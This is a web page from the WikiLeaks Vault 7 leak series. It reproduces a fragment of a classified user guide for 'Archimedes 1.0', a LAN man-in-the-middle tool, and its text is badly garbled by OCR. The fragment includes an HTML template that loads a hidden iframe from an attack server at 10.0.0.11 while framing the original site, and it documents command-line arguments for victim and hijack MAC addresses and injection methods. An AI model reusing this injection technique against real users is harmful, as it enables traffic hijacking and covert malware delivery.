# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### Archimedes

# Archimedes 1.0 User Guide

18 December, 2012

- 1
- 2
- 3
- 4
- 5

SECRET//NOFORN

SECRET//NOFORN

height: 100%;
width: 100%;
}
</style>
</head>
<body>
<iframe src="http://10.0.0.11/attack.html" frameborder="0" width="0" height="0">
</iframe>
<iframe src="http://10.0.0.11/?" frameborder="0" width="100%"
height="100%"></iframe>
</body>
</html>
(S//NF)TheattackURLwillbereplacedwiththatspecifiedbytheuserandthesecondURLwillredir ecttheclient
totheoriginaltarget.Theresultisawebpagethatlooksliketheoriginaltarget.Itispossibletodetectth e
modificationbyexaminingt hepagesource.
(C)FIREANDFORGETSUPPORT
(S//NF)TheArchimedesDLL(f32.dllorf64.dll)andArchimedesShutdownDLL(fs32.dll,fs64.dll)havebeen
modifiedtosupporttheFireandForget(F&F)specification(version2).InadditiontotheAPIchanges,thisrequires
anewwayoflocatingtheconfigurationfileanddefiningalocationforlogfilesandtemporaryfilescreatedbythe
program.
(S//NF)TheF&FDLLusesthetemporaryfolderassociatedwiththeinjectiontargetasalocationforthesefiles.
ThisfoldercanbeidentifiedastheTEMPenvironmentvariable.
(S//NF)TheF&Fspeci ficationprovidesforargumentpassing.Archimedesadd stwooptionalargumentsth atcanbe
usedtocontrolthebehaviorofthetoolinF&Fmode.Theseargumentsdefinethevaluestobeusedfor
VERIFY_ROUTEandI NJECTION_METHOD.NotethatiftheINJECTION_METHODisspecified,thenitmustbe
precededbytheVERIFY_ROUTEoption.ThefollowingisanexamplecommandlinefortheF&FDLL:
 [VICTIMMAC][HIJACKMAC][MILLISECONDS][URL][VERIFY_ROUTE] [INJECTION_METHOD]
(S//NF)VERIFY_ROUTEis(TRUEorFALSE)a ndINJECTION_METHODis(HIDDE N_IFRAMEorDOUBLE_FRAMEor
META_REFRESH).TheVERIFY_ROUTEparametercanb especifiedwithouttheINJECTION_METHOD.
(S//NF)TheArchimedesDLLreturnstheappropriateerrorcodetoindicatethatitshouldnotbeunloadedfrom
memorybythecallingprocess.TheDLLwillunload afterperformingasuccessfulattackagainstthetarget.Thelog
filecanbeusedtotracethebehavioroftheArchimedesprogram.
(S//NF)TheArchimedesShutdownDLLsignalstherunninginstanceofArchimedestogracefullyshutdown.Itcan
berunasaF&FDLLa ndreturnsanerrorcodeindicatingthatthecallingprocesscanunloadit.
(U)APPLICATIONDEFAULTS
(S//NF)ThemodificationsintroducedwithArchimedes1.0addnewcapabilities,butdonotchangethedefault
behavioroftheoriginaltool.

- 1
- 2
- 3
- 4
- 5